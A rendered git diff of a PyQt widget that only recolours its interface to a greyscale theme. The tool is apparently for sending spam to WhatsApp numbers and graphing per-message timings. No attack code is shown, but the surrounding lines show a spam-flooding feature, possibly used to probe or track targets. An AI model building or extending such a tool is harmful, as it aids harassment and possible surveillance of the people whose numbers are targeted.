QPushButton:disabled { background-color: #1D1D1F; color: #555; }
|
||||
QPushButton:hover { background-color: #404040; }
|
||||
QPushButton:disabled { background-color: #1a1a1a; color: #555; }
|
||||
""")
|
||||
btn_row.addWidget(self.stop_spam_btn)
|
||||
controls_container.addLayout(btn_row)
|
||||
@ -262,10 +263,11 @@ class SilentWhispersWidget(QWidget):
|
||||
self.log_output.setFont(subtitle_font)
|
||||
self.log_output.setStyleSheet("""
|
||||
QTextEdit {
|
||||
background-color: #1D1D1F;
|
||||
border-radius: 5px;
|
||||
color: #888;
|
||||
font-size: 9px;
|
||||
background-color: #0e0e0e;
|
||||
border: 1px solid #1a1a1a;
|
||||
border-radius: 4px;
|
||||
color: #808080;
|
||||
font-size: 9pt;
|
||||
padding: 4px;
|
||||
}
|
||||
""")
|
||||
@ -273,7 +275,7 @@ class SilentWhispersWidget(QWidget):
|
||||
top_section.addLayout(controls_container, 1)
|
||||
main_layout.addLayout(top_section)
|
||||
if MATPLOTLIB_AVAILABLE:
|
||||
self.figure = Figure(figsize=(8, 3), dpi=100, facecolor='#111113')
|
||||
self.figure = Figure(figsize=(8, 3), dpi=100, facecolor='#0a0a0a')
|
||||
self.canvas = FigureCanvas(self.figure)
|
||||
self.ax = self.figure.add_subplot(111)
|
||||
self._style_graph()
|
||||
@ -298,23 +300,23 @@ class SilentWhispersWidget(QWidget):
|
||||
self.log_message("[+] Ready", "success")
|
||||
def _style_graph(self):
|
||||
"""Apply dark theme to graph matching main app"""
|
||||
self.ax.set_facecolor('#1D1D1F')
|
||||
self.ax.tick_params(colors='#666', labelsize=8)
|
||||
self.ax.xaxis.label.set_color('#888')
|
||||
self.ax.yaxis.label.set_color('#888')
|
||||
self.ax.set_facecolor('#0e0e0e')
|
||||
self.ax.tick_params(colors='#606060', labelsize=8)
|
||||
self.ax.xaxis.label.set_color('#808080')
|
||||
self.ax.yaxis.label.set_color('#808080')
|
||||
self.ax.set_xlabel('Iteration', fontsize=9)
|
||||
self.ax.set_ylabel('Time (ms)', fontsize=9)
|
||||
for spine in self.ax.spines.values():
|
||||
spine.set_color('#2a2a2e')
|
||||
self.ax.grid(True, alpha=0.1, color='#444')
|
||||
spine.set_color('#1a1a1a')
|
||||
self.ax.grid(True, alpha=0.1, color='#303030')
|
||||
def log_message(self, message, msg_type="system"):
|
||||
"""Add a message to the log output"""
|
||||
color_map = {
|
||||
"success": "#00B85B",
|
||||
"error": "#FF3B30",
|
||||
"system": "#00A9FD"
|
||||
"success": "#ffffff",
|
||||
"error": "#808080",
|
||||
"system": "#a0a0a0"
|
||||
}
|
||||
color = color_map.get(msg_type, "#e0e0e0")
|
||||
color = color_map.get(msg_type, "#c0c0c0")
|
||||
self.log_output.append(f'<span style="color: {color};">{message}</span>')
|
||||
def toggle_whatsapp_client(self):
|
||||
"""Start or stop the WhatsApp Web client"""
|
||||
@ -336,7 +338,7 @@ class SilentWhispersWidget(QWidget):
|
||||
self.whatsapp_thread.start()
|
||||
self.wa_web_status.setText("Status: Starting...")
|
||||
self.wa_web_btn.setText("Stop WhatsApp Client")
|
||||
self.wa_web_btn.setStyleSheet("background-color: #d32f2f; color: white;")
|
||||
self.wa_web_btn.setStyleSheet("background-color: #303030; color: #d0d0d0;")
|
||||
def display_qr_code(self, qr_data):
|
||||
"""Generate and display QR code from data"""
|
||||
try:
|
||||
@ -359,12 +361,12 @@ class SilentWhispersWidget(QWidget):
|
||||
def update_client_status(self, is_ready):
|
||||
if is_ready:
|
||||
self.wa_web_status.setText("Status: Connected & Ready")
|
||||
self.wa_web_status.setStyleSheet("color: #4caf50;")
|
||||
self.wa_web_status.setStyleSheet("color: #ffffff; font-size: 9pt;")
|
||||
self.qr_label.setText("Connected to WhatsApp Web")
|
||||
self.qr_label.setPixmap(QPixmap())
|
||||
else:
|
||||
self.wa_web_status.setText("Status: Disconnected")
|
||||
self.wa_web_status.setStyleSheet("color: #f44336;")
|
||||
self.wa_web_status.setStyleSheet("color: #606060; font-size: 9pt;")
|
||||
def send_whatsapp_message(self):
|
||||
"""Send WhatsApp message using Node.js bridge"""
|
||||
phone_number = self.phone_input.text().strip()
|
||||
@ -463,7 +465,7 @@ class SilentWhispersWidget(QWidget):
|
||||
self.is_spamming = False
|
||||
self.spam_btn.setText("START SPAM")
|
||||
self.spam_btn.setEnabled(True)
|
||||
self.spam_btn.setStyleSheet("background-color: #34C759; color: white;")
|
||||
self.spam_btn.setStyleSheet("background-color: #ffffff; color: #0a0a0a; font-weight: bold;")
|
||||
self.stop_spam_btn.setEnabled(False)
|
||||
self.send_btn.setEnabled(True)
|
||||
def handle_spam_data(self, data):
|
||||
@ -492,7 +494,7 @@ class SilentWhispersWidget(QWidget):
|
||||
indices = self.spam_data['indices']
|
||||
if indices and self.spam_data['iteration_times']:
|
||||
self.ax.scatter(indices, self.spam_data['iteration_times'],
|
||||
c='#FF6B9D', s=6, alpha=0.9, edgecolors='none', linewidths=0)
|
||||
c='#ffffff', s=6, alpha=0.9, edgecolors='none', linewidths=0)
|
||||
self.canvas.draw()
|
||||
def clear_graph(self):
|
||||
"""Clear the graph and reset data"""
|
||||
Reference in New Issue
Block a user